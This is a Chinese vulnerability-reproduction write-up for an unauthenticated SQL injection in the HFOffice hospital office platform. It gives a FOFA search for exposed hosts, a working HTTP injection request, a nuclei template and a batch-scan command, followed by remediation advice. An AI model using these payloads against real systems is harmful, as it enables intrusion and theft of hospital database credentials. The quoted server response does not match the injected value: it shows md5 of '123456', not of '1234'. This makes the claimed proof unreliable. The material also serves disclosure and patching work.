免责申明:本文内容为学习笔记,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

漏洞名称

HFOffice医微云SQL注入漏洞复现

漏洞影响

红帆HFOffice医微云

漏洞描述

红帆HFOffice医微云是广州红帆科技有限公司研发的专注医疗行政办公管理,与企业微信全方位结合,提供协同办公、知识库、专家系统、BI等应用,进一步帮助医院移动办公落地,成就面向医院管理的“智慧管理”。平台list接口处存在SQL注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。

FOFA搜索语句

title="HFOffice"

漏洞复现

向靶场发送如下数据包,poc中调用函数计算1234的md5值


GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

响应数据包如下


HTTP/1.1 400 Bad Request
Connection: close
Content-Length: 64
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Date: Mon, 06 Nov 2023 09:26:23 GMT
Server: Microsoft-IIS/10.0
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET

在将 varchar 值 'E10ADC3949BA59ABBE56E057F20F883E' 转换成数据类型 int 时失败。

证明漏洞存在

nuclei poc


id: hongfan-hfoffice-list-sqli

info:
  name: 红帆OA HFOffice list处存在SQL注入漏洞
  author: fgz
  severity: high
  description: '红帆HFOffice医微云是广州红帆科技有限公司研发的专注医疗行政办公管理,与企业微信全方位结合,提供协同办公、知识库、专家系统、BI等应用,进一步帮助医院移动办公落地,成就面向医院管理的“智慧管理”。平台list接口处存在SQL注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。'
  tags: 2023,HFOffice,sqli
  metadata:
    max-request: 3
    fofa-query: title="HFOffice"
    verified: true

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7"
    matchers:
      - type: word
        words:
          - "81DC9BDB52D04DC20036DBD8313ED055"
        condition: and

运行POC

.\nuclei.exe -t mypoc/红帆/hongfan-ioffice-list-sqli.yaml -l data/1.txt

修复建议

  1. 使用参数化查询:

    • 使用参数化查询是避免SQL注入最有效的方法。参数化查询将用户提供的数据与SQL查询分开,从而防止攻击者将恶意代码注入查询。

  2. 使用ORM(对象关系映射)框架:

    • 使用ORM框架,如Entity Framework(针对.NET应用程序)、Hibernate(针对Java应用程序)等,可以帮助防止SQL注入,因为它们会处理参数化查询。

  3. 验证和过滤输入数据:

    • 对于用户提供的输入数据,进行严格的验证和过滤。确保只接受预期格式和类型的输入。

  4. 不信任用户输入:

    • 不要信任用户输入数据。即使看似无害的数据也可能被滥用。对所有用户输入数据进行审查和验证,以确保安全性。

  5. 最小权限原则:

    • 给数据库用户分配最小权限,以限制攻击者对数据库的访问范围。

  6. 避免直接拼接SQL查询:

    • 避免将用户提供的数据直接拼接到SQL查询中。使用参数化查询或存储过程来执行数据库操作。